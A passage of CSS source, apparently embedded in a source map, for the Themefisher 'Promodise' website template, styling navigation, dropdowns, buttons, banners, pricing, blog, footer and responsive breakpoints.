none;\r\n}\r\n.dropdown-menu {\r\n    opacity: 0\r\n}\r\n\r\n.dropdown-menu.show {\r\n    animation: .2s forwards b\r\n}\r\n\r\n@keyframes b {\r\n    to {\r\n        opacity: 1\r\n    }\r\n}\r\n\r\n.dropdown-item {\r\n    font-size: .6875rem;\r\n    font-weight: 500;\r\n    padding-top: .5rem;\r\n    padding-bottom: .5rem;\r\n    transition: background-color .1s;\r\n    text-transform: uppercase\r\n}\r\n\r\n@media (min-width:1200px) {\r\n    .dropdown-item {\r\n        padding-top: .75rem;\r\n        padding-bottom: .75rem\r\n    }\r\n}\r\n\r\n@media (min-width:1200px) {\r\n    .dropdown-item + .dropdown-item {\r\n        border-top: 1px solid rgba(0, 0, 0, .1)\r\n    }\r\n}\r\n\r\n\r\n","/*=== MEDIA QUERY ===*/\n/*\r\n* ----------------------------------------------------------------------------------------\r\nAuthor       : Themefisher\r\nTemplate Name: Promodise\r\nVersion      : 1.0\r\n* ----------------------------------------------------------------------------------------\r\n*/\n/*\r\n* ----------------------------------------------------------------------------------------\r\n* 01.GLOBAL CSS STYLE\r\n* 02.PRELOADER & BOUNCE CCS STYLE\r\n* 03.HOMEPAGE CSS STYLE\r\n    -LOGO CSS\r\n    -MENU CSS\r\n* 04.ABOUT CSS STYLE\r\n* 05.SERVICE CSS STYLE\r\n* 06.WORK CSS STYLE\r\n* 07.AVAILABLE CSS STYLE\r\n* 08.CONTACT CSS STYLE\r\n* 09.FOOTER CSS STYLE\r\n* ----------------------------------------------------------------------------------------\r\n*/\n/*\r\n* ----------------------------------------------------------------------------------------\r\n* 01.GLOBAL STYLE\r\n* ----------------------------------------------------------------------------------------\r\n*/\n@import url(\"https://fonts.googleapis.com/css?family=Poppins:400,600,700|Rubik:400,600,700\");\nbody {\n  font-size: 16px;\n  font-weight: 400;\n  line-height: 26px;\n  font-family: \"Rubik\", sans-serif;\n  color: #788487;\n  position: relative;\n}\n\np {\n  line-height: 28px;\n  font-size: 15px;\n}\n\nhtml {\n  overflow-x: hidden !important;\n  width: 100%;\n  height: 100%;\n  position: relative;\n  -webkit-font-smoothing: antialiased;\n  text-rendering: optimizeLegibility;\n}\n\nbody {\n  border: 0;\n  margin: 0;\n  padding: 0;\n}\n\nh1, .h1,\nh2, .h2,\nh3, .h3,\nh4, .h4,\nh5, .h5,\nh6, .h6 {\n  font-family: \"Poppins\", sans-serif;\n  font-weight: 600;\n  margin-bottom: 0px;\n  color: #232323;\n}\n\na {\n  text-decoration: none;\n  -webkit-transition: all 0.4s;\n  -webkit-transition: all 0.2s;\n  transition: all 0.2s;\n  color: #000;\n}\n\nimg {\n  max-width: 100%;\n}\n\na:hover {\n  color: #635CDB;\n  text-decoration: none;\n}\n\na:focus {\n  outline: none;\n  text-decoration: none;\n}\n\nul,\nli {\n  margin: 0;\n  padding: 0;\n  list-style: none;\n}\n\nh1 {\n  font-size: 48px;\n}\n\nh2 {\n  font-size: 36px;\n}\n\nh3 {\n  font-size: 28px;\n  line-height: 38px;\n}\n\nh4 {\n  font-size: 22px;\n  line-height: 32px;\n}\n\nh5 {\n  font-size: 16px;\n  line-height: 24px;\n}\n\nh6 {\n  font-size: 14px;\n  line-height: 26px;\n}\n\n.f-color {\n  color: #635CDB;\n}\n\nh5.subtitle {\n  font-size: 16px;\n  font-weight: 400;\n}\n\n.no-padding {\n  padding: 0;\n}\n\n.flaticon {\n  display: inline;\n}\n\n.mb30 {\n  margin-bottom: 30px;\n}\n\n.section-padding {\n  padding: 90px 0px;\n}\n\n.section-heading {\n  text-align: center;\n  width: 70%;\n  margin: 0 auto 60px;\n}\n\n.section-title {\n  font-size: 32px;\n  line-height: 38px;\n  margin-bottom: 15px;\n  text-transform: capitalize;\n}\n\n.section-title span {\n  color: #635CDB;\n}\n\n.section {\n  padding: 100px 0px;\n}\n\n.line {\n  width: 50px;\n  background: #635CDB;\n  height: 1px;\n  margin: 10px auto;\n}\n\n/*---------- BUTTONS ----------*/\n.btn {\n  font: 600 10.5px/1;\n  display: inline-block;\n  padding: 15px 45px 15px 45px;\n  text-transform: uppercase;\n  border: 2px solid transparent;\n  -webkit-transition: all .2s;\n  transition: all .2s;\n  border-radius: 0px;\n  font-weight: 600;\n  font-size: 13px;\n  letter-spacing: 1px;\n}\n\n.btn:focus,\n.btn:active,\n.btn:active:focus {\n  outline: none;\n  box-shadow: none;\n}\n\n.btn-hero,\n.btn-white:hover {\n  color: #fff !important;\n  background: #635CDB;\n}\n\n.btn-hero:focus {\n  color: #fff !important;\n}\n\n.btn-black,\n.btn-hero:hover {\n  background-color: black;\n  color: #fff !important;\n}\n\n.btn-black:hover {\n  color: #fff;\n  background: #635CDB;\n}\n\n.btn-black:focus {\n  color: #fff;\n}\n\n.btn-white {\n  background-color: rgba(255, 255, 255, 0.95);\n  color: rgba(0, 0, 0, 0.85);\n  border-color: rgba(255, 255, 255, 0.12);\n}\n\n.btn-white:focus {\n  color: #000;\n}\n\n.btn-white:active {\n  color: #fff;\n}\n\n.btn-trans-black {\n  background-color: transparent;\n  border: 2px solid rgba(0, 0, 0, 0.15);\n  color: rgba(0, 0, 0, 0.85);\n}\n\n.btn-trans-black:hover {\n  color: white;\n  background-color: #000;\n}\n\n.btn-trans-white {\n  background-color: transparent;\n  border: 2px solid rgba(255, 255, 255, 0.15);\n  color: rgba(255, 255, 255, 0.95);\n}\n\n.btn-trans-white:hover {\n  background-color: rgba(255, 255, 255, 0.95);\n  color: rgba(0, 0, 0, 0.85);\n  border-color: rgba(255, 255, 255, 0.12);\n}\n\n.btn-trans-white:active,\n.btn-trans-white:focus {\n  color: #fff;\n  background-color: transparent;\n  border-color: rgba(255, 255, 255, 0.12);\n}\n\n.btn-rounded {\n  border-radius: 2px;\n}\n\n.btn-circled {\n  border-radius: 40px;\n}\n\n.btn-trans-black:hover {\n  background: #635CDB !important;\n}\n\n/*---------- COLORS ----------*/\n/*-- Background Colors --*/\n.bg-black {\n  background-color: #000;\n}\n\n.bg-dark {\n  background-color: rgba(0, 0, 0, 0.96);\n}\n\n.bg-feature {\n  background-color: #635CDB;\n}\n\n.bg-primary {\n  background-color: #0db8ca;\n}\n\n.bg-gray {\n  background-color: #f2f4ec;\n}\n\n.bg-white {\n  background-color: #fff;\n}\n\n.d-table {\n  width: 100%;\n}\n\n.d-table-cell {\n  vertical-align: middle;\n}\n\n.overlay {\n  position: absolute;\n  top: 0px;\n  left: 0px;\n  width: 100%;\n  height: 100%;\n  background: rgba(0, 0, 0, 0.5);\n}\n\n.brown-overlay {\n  background: #222955;\n  opacity: .97;\n}\n\n.feature-overlay {\n  background: #635CDB;\n  opacity: .97;\n}\n\n.gr-overlay {\n  background: linear-gradient(135deg, #2f1ce0 0%, #53a0fd 30%, #51eca5 100%);\n  opacity: .87;\n}\n\n/* ========================\r\n\r\n==============================*/\n.heading {\n  margin-bottom: 40px;\n}\n\n.heading h3 {\n  margin-bottom: 10px;\n  font-weight: 600;\n}\n\n/*------------------------------------\r\n  MENU NAVIGATION AREA\r\n----------------------------------*/\n.site-navigation,\n.trans-navigation {\n  padding: 20px 0px;\n}\n\n.site-navigation .navbar-nav a,\n.trans-navigation .navbar-nav a {\n  text-transform: uppercase;\n}\n\n.site-navigation .navbar-nav a.active,\n.trans-navigation .navbar-nav a.active {\n  color: red;\n}\n\n.header-white {\n  position: fixed;\n  top: 0px;\n  background: #111;\n  z-index: 9999;\n  width: 100%;\n  left: 0;\n  -webkit-transition: all .3s ease 0s;\n  -o-transition: all .5s ease 0s;\n  transition: all .5s ease 0s;\n  color: #000 !important;\n}\n\n.navbar-expand-lg.trans-navigation .navbar-nav .nav-link,\n.navbar-expand-lg.site-navigation .navbar-nav .nav-link {\n  padding: 0px 24px;\n}\n\n.navbar-expand-lg.trans-navigation .navbar-nav .nav-link:last-child,\n.navbar-expand-lg.site-navigation .navbar-nav .nav-link:last-child {\n  padding-right: 0px;\n}\n\n.site-navigation,\n.trans-navigation {\n  -webkit-transition: all .3s ease 0s;\n  -o-transition: all .5s ease 0s;\n  transition: all .5s ease 0s;\n}\n\n.navbar-brand {\n  padding-top: 0px;\n  margin-right: 60px;\n  font-weight: 700;\n  text-transform: capitalize;\n  color: #fff;\n}\n\n.navbar-brand span {\n  font-weight: 400;\n}\n\n.navbar-expand-lg.trans-navigation .navbar-nav .nav-link {\n  color: #fff;\n}\n\n.trans-navigation {\n  background: transparent;\n}\n\n.trans-navigation.header-white {\n  background: #111;\n}\n\n.trans-navigation.header-white .navbar-nav .nav-link {\n  color: #fff;\n}\n\n.trans-navigation.header-white .navbar-nav a.active {\n  color: #635CDB;\n}\n\n.navbar-brand img {\n  max-width: 100%;\n}\n\n.trans-navigation.header-white .btn-white {\n  background: #635CDB;\n  color: #fff;\n}\n\n/* ===============================\r\n DROPDOWN MENU\r\n================================*/\n.navbar-expand-lg.trans-navigation .navbar-nav .nav-link.dropdown-toggle {\n  padding-right: 0px;\n}\n\n.nav-item.dropdown .dropdown-menu {\n  -webkit-transition: all 300ms ease;\n  -o-transition: all 300ms ease;\n  transition: all 300ms ease;\n  display: block;\n  visibility: hidden;\n  opacity: 0;\n  top: 120%;\n  -webkit-box-shadow: 2px 2px 5px 1px rgba(0, 0, 0, 0.05), -2px 0px 5px 1px rgba(0, 0, 0, 0.05);\n  box-shadow: 2px 2px 5px 1px rgba(0, 0, 0, 0.05), -2px 0px 5px 1px rgba(0, 0, 0, 0.05);\n  border: 0px;\n  padding: 0px;\n  position: absolute;\n}\n\n.nav-item.dropdown:hover .dropdown-menu {\n  opacity: 1;\n  visibility: visible;\n  top: 100%;\n}\n\n.dropdown-item:hover {\n  color: #fff;\n  text-decoration: none;\n  background-color: #635CDB;\n}\n\n.dropdown-toggle::after {\n  display: none;\n}\n\n.dropdown-menu {\n  opacity: 0;\n}\n\n.dropdown-menu.show {\n  animation: .2s forwards b;\n}\n\n@keyframes b {\n  to {\n    opacity: 1;\n  }\n}\n\n.dropdown-item {\n  font-size: .6875rem;\n  font-weight: 500;\n  padding-top: .5rem;\n  padding-bottom: .5rem;\n  transition: background-color .1s;\n  text-transform: uppercase;\n}\n\n@media (min-width: 1200px) {\n  .dropdown-item {\n    padding-top: .75rem;\n    padding-bottom: .75rem;\n  }\n}\n\n@media (min-width: 1200px) {\n  .dropdown-item + .dropdown-item {\n    border-top: 1px solid rgba(0, 0, 0, 0.1);\n  }\n}\n\n/*------------------------------------\r\n BANNER AREA\r\n----------------------------------*/\n.banner-area .content-padding {\n  padding: 250px 0px 180px;\n}\n\n.content-padding {\n  padding: 180px 0px 80px;\n}\n\n.banner-content {\n  padding-right: 30px;\n}\n\n.banner-content .btn {\n  margin-top: 15px;\n}\n\n.banner-content .banner-title {\n  color: #fff;\n  font-weight: 700;\n  line-height: 50px;\n}\n\n.banner-content .subtitle {\n  color: #fff;\n  background: #635CDB;\n  display: inline-block;\n  padding: 3px 8px;\n  margin-bottom: 20px;\n  text-transform: uppercase;\n}\n\n.subtitle {\n  color: #635CDB;\n}\n\n.banner-content p {\n  margin: 20px 0px;\n  color: #eee;\n  font-size: 18px;\n  line-height: 30px;\n}\n\n.banner-content .btn {\n  margin-right: 12px;\n}\n\n.btn-sm {\n  padding: 10px 30px;\n}\n\n.banner-1 {\n  background: url(\"../images/banner/bg-2.jpg\");\n  -webkit-background-size: cover;\n  background-size: cover;\n  position: relative;\n}\n\n.banner-2 {\n  background: url(\"../images/banner/slider-3.jpg\");\n  -webkit-background-size: cover;\n  background-size: cover;\n  position: relative;\n}\n\n.banner-3 {\n  background: url(\"../images/banner/banner-bg.jpg\");\n  -webkit-background-size: cover;\n  background-size: cover;\n  position: relative;\n}\n\n.section-heading h2 {\n  margin-bottom: 20px;\n  font-weight: 400;\n}\n\n/* =======================================\r\nINner Pages\r\n=========================================*/\n#page-banner {\n  position: relative;\n  padding: 60px 0px 80px;\n}\n\n.page-banner-area {\n  background: url(\"../images/banner/1.jpg\") no-repeat 50% 50%;\n  background-size: cover;\n}\n\n/*-------------------- ------------\r\n INTRO SECTION\r\n-----------------------------*/\n#intro {\n  padding-bottom: 0px;\n}\n\n.intro-img {\n  margin-top: 45px;\n}\n\n#intro .section-heading p {\n  color: #000;\n  font-size: 30px;\n  line-height: 40px;\n}\n\n.intro-box {\n  margin-top: 30px;\n  position: relative;\n  margin-bottom: 20px;\n}\n\n.intro-box h4:before {\n  position: absolute;\n  left: 0px;\n  top: 17px;\n  content: \"\";\n  bottom: 0px;\n  background: #000;\n  width: 50px;\n  height: 2px;\n}\n\n.intro-box h4 {\n  text-transform: uppercase;\n  margin-bottom: 15px;\n  position: relative;\n  padding-left: 60px;\n}\n\n.intro-box span {\n  font-size: 28px;\n  color: #635CDB;\n}\n\n.intro-cta {\n  margin-top: 40px;\n}\n\n/*--------------------------\r\n  ABOUT SECTION\r\n----------------------*/\n.section-pt {\n  padding-top: 90px;\n}\n\n.section-pb {\n  padding-bottom: 90px;\n}\n\n#about {\n  position: relative;\n  padding-bottom: 85px;\n}\n\n.about-bg-img {\n  position: absolute;\n  right: 0px;\n  content: \"\";\n  background: url(\"../images/banner/1.jpg\") 50% 50%;\n  width: 40%;\n  height: 100%;\n  max-height: 560px;\n  top: 0px;\n  -webkit-box-shadow: 0 2px 48px 0 rgba(0, 0, 0, 0.06);\n  box-shadow: 0 2px 48px 0 rgba(0, 0, 0, 0.06);\n}\n\n.about-content {\n  margin-top: 94px;\n}\n\n.about-content .subtitle {\n  margin-bottom: 20px;\n  text-transform: uppercase;\n}\n\n.about-content h3 {\n  margin-bottom: 25px;\n}\n\n.about-list {\n  margin-top: 30px;\n}\n\n.about-list li {\n  width: 45%;\n  float: left;\n  margin-bottom: 15px;\n  margin-right: 15px;\n  color: #888;\n}\n\n.about-list li i {\n  color: #000;\n  margin-right: 10px;\n}\n\n/* ----------------------\r\nABOUT PAGE\r\n-------------------------*/\n.about-list2 li i {\n  margin-right: 10px;\n  color: #635CDB;\n}\n\n.icon-3x {\n  font-size: 3rem;\n}\n\n.text-default {\n  color: #635CDB;\n}\n\n.team-social li a {\n  font-size: 13px;\n  width: 30px;\n  height: 30px;\n  text-align: center;\n  border: 1px solid #fff;\n  display: inline-block;\n  padding-top: 3px;\n  background: #fff;\n}\n\n/* ========================\r\nHISTORY MISSION\r\n==============================*/\n.img-block img {\n  width: 200px;\n}\n\n/* ========================\r\n\r\n==============================*/\n#section-strategy {\n  background: url(\"../images/bg/bg-1.jpg\") 50% 50% no-repeat;\n  background-size: cover;\n}\n\n.strategy-text {\n  margin-bottom: 50px;\n}\n\n.strategy-text h4 {\n  font-size: 18px;\n  margin-bottom: 10px;\n  font-weight: 600;\n}\n\n.strategy-text span {\n  font-size: 61px;\n  color: #635CDB;\n  margin-bottom: 15px;\n  display: block;\n}\n\n/*--------------------------------\r\n COUNTER SECTION\r\n-----------------------------*/\n.counter {\n  font-size: 60px;\n  line-height: 60px;\n  font-weight: 700;\n  line-height: 70px;\n  margin: 10px 0px;\n  color: #635CDB;\n}\n\n.counter-stat i {\n  font-size: 40px;\n  color: #fff;\n  margin-right: 10px;\n}\n\n.counter-stat h5 {\n  font-weight: 400;\n  text-transform: uppercase;\n  color: #fff;\n}\n\n.counter-block span {\n  font-size: 30px;\n}\n\n#counter .dark-overlay {\n  background: #000;\n  opacity: 0.95;\n}\n\n#counter {\n  background: url(\"../images/banner/pattern-3.png\") fixed 50% 50%;\n  position: relative;\n  -webkit-background-size: cover;\n  background-size: cover;\n  padding-top: 87px;\n  padding-bottom: 95px;\n}\n\n/*--------------------------\r\n  SERVICE AREA SECTION\r\n----------------------*/\n.page-banner-area.page-service {\n  background: url(\"../images/bg/bg-2.jpg\") no-repeat;\n  background-size: cover;\n}\n\n#service-head {\n  padding-bottom: 100px;\n  padding-top: 90px;\n}\n\n#service-head .section-title {\n  color: #fff;\n}\n\n.text-white p {\n  color: #fff;\n}\n\n#service {\n  margin-top: -100px;\n  padding-bottom: 70px;\n}\n\n.service-box .service-img-icon {\n  width: 100px;\n  height: 100px;\n  text-align: center;\n  background: #fff;\n  padding-top: 20px;\n  margin: 0 auto;\n  border-radius: 100%;\n  margin-bottom: 20px;\n  background: #635CDB;\n  border: 1px solid rgba(255, 255, 255, 0.2);\n  color: #fff;\n}\n\n.service-box {\n  margin-bottom: 40px;\n  background: #fff;\n  text-align: center;\n  padding: 45px 25px 30px 25px;\n  border: 1px solid transparent;\n  -webkit-transition: all .3s ease 0s;\n  -o-transition: all .3s ease 0s;\n  transition: all .3s ease 0s;\n  border-radius: 5px;\n  -webkit-box-shadow: 0px 2px 6px rgba(0, 0, 0, 0.1);\n  box-shadow: 0px 2px 6px rgba(0, 0, 0, 0.1);\n}\n\n.service-inner {\n  margin-top: 30px;\n}\n\n.service-inner h4 {\n  margin-bottom: 20px;\n}\n\n.service-inner span {\n  color: #635CDB;\n}\n\n/* ================================\r\nSERVICE PAGE\r\n==============================*/\n.bg-gray {\n  background: #f4f4f4;\n}\n\n.service-block-2 {\n  position: relative;\n}\n\n.service-block-2 h4 {\n  margin-bottom: 15px;\n  line-height: 26px;\n}\n\n.service-block-2 p {\n  font-size: 16px;\n}\n\n.service-block-2 span {\n  position: absolute;\n  content: \"\";\n  font-size: 70px;\n  top: 0px;\n  left: 0px;\n  font-weight: 800;\n  opacity: .05;\n  margin-top: -15px;\n}\n\n.service-style-two {\n  background: url(\"../images/bg/bg-2.jpg\") no-repeat;\n  background-size: cover;\n  position: relative;\n}\n\n.service-style-two:before {\n  position: absolute;\n  content: \"\";\n  left: 0px;\n  top: 0px;\n  height: 100%;\n  width: 100%;\n  background: rgba(0, 0, 0, 0.6);\n}\n\n.heading {\n  margin-bottom: 70px;\n}\n\n/*------------------------------------\r\n  PRICING SECTION AREA\r\n--------------------------------*/\n#pricing {\n  padding-bottom: 100px;\n}\n\n.pricing-block {\n  text-align: center;\n  -webkit-transition: all .3s 0s ease;\n  -o-transition: all .3s 0s ease;\n  transition: all .3s 0s ease;\n  border-radius: 5px;\n  border: 1px solid #eee;\n}\n\n.price-header {\n  padding-bottom: 30px;\n  padding-top: 30px;\n}\n\n.price-header i {\n  width: 100px;\n  height: 100px;\n  text-align: center;\n  padding-top: 25px;\n  font-size: 50px;\n  display: inline-block;\n  border-radius: 100%;\n  -webkit-transition: all .3s ease 0s;\n  -o-transition: all .3s ease 0s;\n  transition: all .3s ease 0s;\n  color: #635CDB;\n  border: 1px solid #eee;\n}\n\n.price-header .price {\n  font-size: 70px;\n  margin-top: 40px;\n  margin-bottom: 0px;\n}\n\n.price-header h5 {\n  font-weight: 400;\n}\n\n.price-header .price small {\n  font-size: 18px;\n}\n\n.pricing-block ul {\n  padding: 20px 20px;\n  margin-bottom: 30px;\n  border-bottom: 1px solid #eee;\n}\n\n.pricing-block ul li {\n  padding: 6px 0px;\n}\n\n.pricing-block .btn {\n  margin-bottom: 30px;\n}\n\n.pricing-block:hover i {\n  background-image: -webkit-linear-gradient(135deg, #2f1ce0 0%, #53a0fd 50%, #51eca5 100%);\n  background-iamge: -linear-gradient(135deg, #2f1ce0 0%, #53a0fd 50%, #51eca5 100%);\n  color: #fff;\n  border: 1px solid #53a0fd;\n}\n\n.pricing-block:hover,\n.pricing-block.active {\n  background: #fff;\n  -webkit-box-shadow: 0 2px 48px 0 rgba(0, 0, 0, 0.06);\n  box-shadow: 0 2px 48px 0 rgba(0, 0, 0, 0.06);\n}\n\n#pricing .section-heading {\n  margin-bottom: 90px;\n}\n\n/* -------------------\r\nPRICING PAGE\r\n--------------------*/\n#section-counter .counter-stat i {\n  color: #000;\n}\n\n#section-counter .counter-stat h5 {\n  color: #777;\n}\n\n/*------------------------------------\r\n  CLIENT PARTNER AREA SECTION\r\n--------------------------------*/\n#clients {\n  padding-top: 75px;\n  padding-bottom: 80px;\n  position: relative;\n}\n\n.client-img {\n  background: #fff;\n}\n\n/*------------------------------------\r\n  TESTIMONIAL AREA SECTION\r\n---------------------------------*/\n.author-img img {\n  width: 100px;\n  height: 100px;\n  border-radius: 100%;\n  border: 5px solid #ddd;\n}\n\n.author-info p {\n  margin: 0px;\n  font-size: 14px;\n}\n\n.carousel-indicators {\n  bottom: 0px;\n  margin-bottom: 0px;\n}\n\n.carousel-indicators li {\n  background: #111;\n  width: 10px;\n  height: 10px;\n  border-radius: 100%;\n}\n\n.carousel-indicators li.active {\n  background: #635CDB;\n}\n\n.testimonial-content {\n  padding: 0px 40px;\n  text-align: center;\n  margin-bottom: 40px;\n}\n\n.testimonial-content .author-text {\n  padding-top: 10px;\n}\n\n.testimonial-content .author-info {\n  display: block;\n  margin-bottom: 25px;\n}\n\n.testimonial-content p {\n  font-size: 20px;\n  line-height: 36px;\n  color: #222;\n  margin: 35px 0px;\n  display: block;\n}\n\n.author-text h5 {\n  text-transform: uppercase;\n}\n\n.author-text p {\n  font-size: 14px;\n  line-height: 20px;\n  margin-bottom: 36px;\n  color: #888;\n  margin: 0px;\n}\n\n.testimonial-content p i {\n  margin: 0px 8px;\n}\n\n/*--------------------------\r\n CONTACT SECTION AREA\r\n----------------------*/\n#contact {\n  padding-bottom: 100px;\n}\n\n.text-color {\n  color: #635CDB;\n}\n\ninput[type=text], input[type=email] {\n  height: 50px;\n}\n\n.form-control {\n  border: 1px solid #eee;\n  padding-left: 20px;\n}\n\n.form-control:hover,\n.form-control:focus {\n  -webkit-box-shadow: 0px 5px 35px 0px rgba(148, 146, 245, 0.15);\n  box-shadow: 0px 5px 35px 0px rgba(148, 146, 245, 0.15);\n}\n\n.input:focus {\n  outline: none;\n}\n\n.form-control::-webkit-input-placeholder {\n  color: #888;\n  opacity: .9;\n  font-size: 13px;\n  padding-left: 10px;\n}\n\n.form-control::-moz-placeholder {\n  color: #888;\n  opacity: .9;\n  font-size: 13px;\n  padding-left: 10px;\n}\n\n.form-control:-ms-input-placeholder {\n  color: #888;\n  opacity: .9;\n  font-size: 13px;\n  padding-left: 10px;\n}\n\n.form-control:-moz-placeholder {\n  color: #888;\n  opacity: .9;\n  font-size: 13px;\n  padding-left: 10px;\n}\n\n/* --------------\r\n    MAP\r\n-----------------*/\n#map {\n  height: 400px;\n  width: 100%;\n  position: relative;\n}\n\n#map:after {\n  position: absolute;\n  content: \"\";\n  left: 0px;\n  background: rgba(99, 92, 219, 0.4);\n  top: 0px;\n  width: 100%;\n  height: 100%;\n}\n\n/*--------------------------\r\n BLOG SECTION AREA\r\n----------------------*/\n#blog {\n  padding-bottom: 55px;\n}\n\n.blog-block {\n  overflow: hidden;\n  -webkit-transition: all .3s ease 0s;\n  -o-transition: all .3s ease 0s;\n  transition: all .3s ease 0s;\n}\n\n.blog-block img {\n  margin-bottom: 10px;\n}\n\n.blog-text {\n  padding: 20px;\n}\n\n.blog-text .author-name {\n  font-weight: 400;\n}\n\n.blog-text .author-name span {\n  margin-right: 10px;\n  font-weight: 600;\n}\n\n.blog-block .read-more,\n.blog-block span {\n  color: #635CDB;\n}\n\n/* =================================\r\nBLOG PAGE\r\n===================================*/\n.blog-post {\n  margin-bottom: 50px;\n}\n\n.blog-post img {\n  border-radius: 5px;\n}\n\n.blog-post .post-author i,\n.blog-post .post-info i {\n  margin-right: 5px;\n  font-size: 14px;\n}\n\n.blog-post .post-author span, .blog-post .post-info span {\n  font-size: 14px;\n}\n\n.sidebar-widget {\n  margin-bottom: 40px;\n  padding-left: 20px;\n}\n\n.category ul li {\n  margin-bottom: 10px;\n  text-transform: capitalize;\n  position: relative;\n  padding-left: 20px;\n  border-bottom: 1px solid #eee;\n  padding-bottom: 10px;\n}\n\n.category ul li:before {\n  position: absolute;\n  content: \"\\f105\";\n  left: 0px;\n  top: 0px;\n  font-family: \"Font Awesome 5 Free\";\n  color: #635CDB;\n  font-weight: 900;\n}\n\n.tag a {\n  text-transform: capitalize;\n  padding: 5px 8px;\n  border: 1px solid #eee;\n  margin-bottom: 5px;\n  font-size: 14px;\n  display: inline-block;\n}\n\n.search i {\n  position: absolute;\n  right: 0px;\n  top: 0px;\n  margin-right: 35px;\n  margin-top: 15px;\n  color: #635CDB;\n}\n\n.download a {\n  display: block;\n  padding: 12px 20px;\n  border: 1px solid #eee;\n  margin-bottom: 10px;\n  background: #f2f2f2;\n}\n\n.download a i {\n  margin-right: 15px;\n  color: #635CDB;\n}\n\n/* ==================================\r\nBLOG SINGLE\r\n=====================================*/\n.quote i {\n  font-size: 50px;\n  margin-right: 10px;\n  position: absolute;\n  left: 0px;\n}\n\n.quote {\n  font-size: 18px;\n  line-height: 32px;\n  color: #222;\n  position: relative;\n  margin: 50px 0px;\n  padding-left: 70px;\n}\n\n.comments img {\n  width: 80px;\n  height: 80px;\n}\n\n/*--------------------------\r\n FOOTER\r\n----------------------*/\n#footer {\n  padding-bottom: 60px;\n  position: relative;\n  background: url(\"../images/bg/2.png\");\n  border-top: 1px solid #eee;\n}\n\n.footer-widget ul li {\n  padding: 5px 0px;\n}\n\n.footer-widget p {\n  margin-bottom: 5px;\n}\n\n.footer-widget h4 {\n  margin-bottom: 20px;\n}\n\n.footer-widget h4 span {\n  color: #635CDB;\n  display: block;\n  font-size: 60px;\n  line-height: 60px;\n}\n\n.footer-blog li img {\n  width: 70px;\n  height: 70px;\n  float: left;\n  margin-right: 20px;\n}\n\n.footer-blog li h5 {\n  margin-bottom: 10px;\n  font-size: 16px;\n  line-height: 22px;\n  text-transform: capitalize;\n}\n\n.footer-blog li a.read-more {\n  font-size: 13px;\n}\n\n.footer-blog li {\n  margin-bottom: 15px;\n}\n\n.footer-copy {\n  letter-spacing: 1px;\n  padding-top: 30px;\n  margin-top: 30px;\n  border-top: 1px solid #eee;\n}\n\n.footer-text h6 {\n  margin-bottom: 10px;\n}\n\n.footer-text p span {\n  color: #000;\n}\n\n.footer-text p.mail {\n  color: #635CDB;\n}\n\n.bg-main {\n  background: #F4F8FB;\n}\n\n.footer-widget a {\n  color: #999;\n}\n\n/*-------------------------------\r\n RESPONSIVE LAYOUT\r\n---------------------------------*/\n/*Extra large devices (large desktops, 1200px and up)*/\n/*Large devices (desktops, 992px and up)*/\n/*Medium devices (tablets, 768px and up)*/\n/*Medium devices (tablets, 768px and up)*/\n@media (min-width: 768px) and (max-width: 991.98px) {\n  /*---------------\r\n     NAVIGATION\r\n    ----------------*/\n  .navbar-toggler {\n    background: #fff;\n    border-radius: 0px;\n  }\n  .navbar-toggler-icon {\n    height: auto;\n    padding: 10px 0px;\n  }\n  .trans-navigation {\n    background: #232323;\n  }\n  .navbar-expand-lg.trans-navigation .navbar-nav .nav-link {\n    margin-bottom: 10px;\n  }\n  /*----------------------\r\n     SECTION HEAINDG\r\n    -----------------------*/\n  .section-heading {\n    width: 100%;\n  }\n  /*----------------\r\n     INTRO\r\n    ----------------*/\n  #intro {\n    padding-bottom: 90px;\n  }\n  /*----------------\r\n     ABOUT\r\n    ----------------*/\n  .about-list li {\n    float: none;\n    width: 100%;\n    margin-bottom: 10px;\n  }\n  .about-bg-img {\n    width: 35%;\n    height: 100%;\n    max-height: 600px;\n  }\n  .about-content {\n    margin-top: 60px;\n  }\n  #about {\n    padding-bottom: 40px;\n  }\n  /*--------------\r\n     COUNTER\r\n    ----------------*/\n  .counter-stat {\n    margin-bottom: 30px;\n    text-align: center;\n  }\n  /*--------------\r\n     BLOG\r\n    ----------------*/\n  .blog-text {\n    padding: 0px;\n    margin-top: 10px;\n  }\n  .blog-tex h5 {\n    font-size: 15px;\n  }\n  .blog-text p {\n    font-size: 14px;\n  }\n  .pricing-block {\n    margin-bottom: 30px;\n  }\n  /*--------------\r\n     FOOTER\r\n    ----------------*/\n  .footer-widget {\n    margin-bottom: 30px;\n  }\n}\n\n/*Small devices (landscape phones, 576px and up)*/\n@media (min-width: 576px) and (max-width: 767.98px) {\n  /*---------------\r\n     NAVIGATION\r\n    ----------------*/\n  .navbar-toggler {\n    background: #fff;\n    border-radius: 0px;\n  }\n  .navbar-toggler-icon {\n    height: auto;\n    padding: 10px 0px;\n  }\n  .trans-navigation {\n    background: #232323;\n  }\n  .navbar-expand-lg.trans-navigation .navbar-nav .nav-link {\n    margin-bottom: 10px;\n  }\n  /*----------------------\r\n     SECTION HEAINDG\r\n    -----------------------*/\n  .section-heading {\n    width: 100%;\n  }\n  /*----------------\r\n     INTRO\r\n    ----------------*/\n  #intro {\n    padding-bottom: 90px;\n  }\n  /*----------------\r\n     ABOUT\r\n    ----------------*/\n  .about-content {\n    margin-top: 60px;\n  }\n  #about {\n    padding-bottom: 40px;\n  }\n  /*-------------------\r\n     TESTIMONIAL\r\n    -------------------*/\n  .testimonial-content {\n    padding: 10px;\n  }\n  /*--------------\r\n     COUNTER\r\n    ----------------*/\n  .counter-stat {\n    margin-bottom: 30px;\n    text-align: center;\n  }\n  /*--------------\r\n     BLOG\r\n    ----------------*/\n  .blog-block {\n    margin-bottom: 30px;\n  }\n  .blog-text {\n    padding: 0px;\n    margin-top: 10px;\n  }\n  .blog-block:hover {\n    -webkit-box-shadow: none;\n    box-shadow: none;\n  }\n  .blog-text h5 {\n    font-size: 16px;\n  }\n  .blog-text p {\n    font-size: 14px;\n  }\n  .intro-box {\n    margin-top: 0px;\n    margin-bottom: 40px;\n  }\n  /*--------------\r\n     CLIENT\r\n    --------------*/\n  .client-img {\n    text-align: center;\n  }\n  /*--------------\r\n     FOOTER\r\n    ----------------*/\n  .footer-widget {\n    margin-bottom: 30px;\n  }\n  .pricing-block {\n    margin-bottom: 30px;\n  }\n  .img-block img {\n    width: 130px;\n  }\n}\n\n/* Extra small devices (portrait phones, less than 576px)*/\n@media (max-width: 575.98px) {\n  /*---------------\r\n     NAVIGATION\r\n    ----------------*/\n  .navbar-toggler {\n    background: #fff;\n    border-radius: 0px;\n  }\n  .navbar-toggler-icon {\n    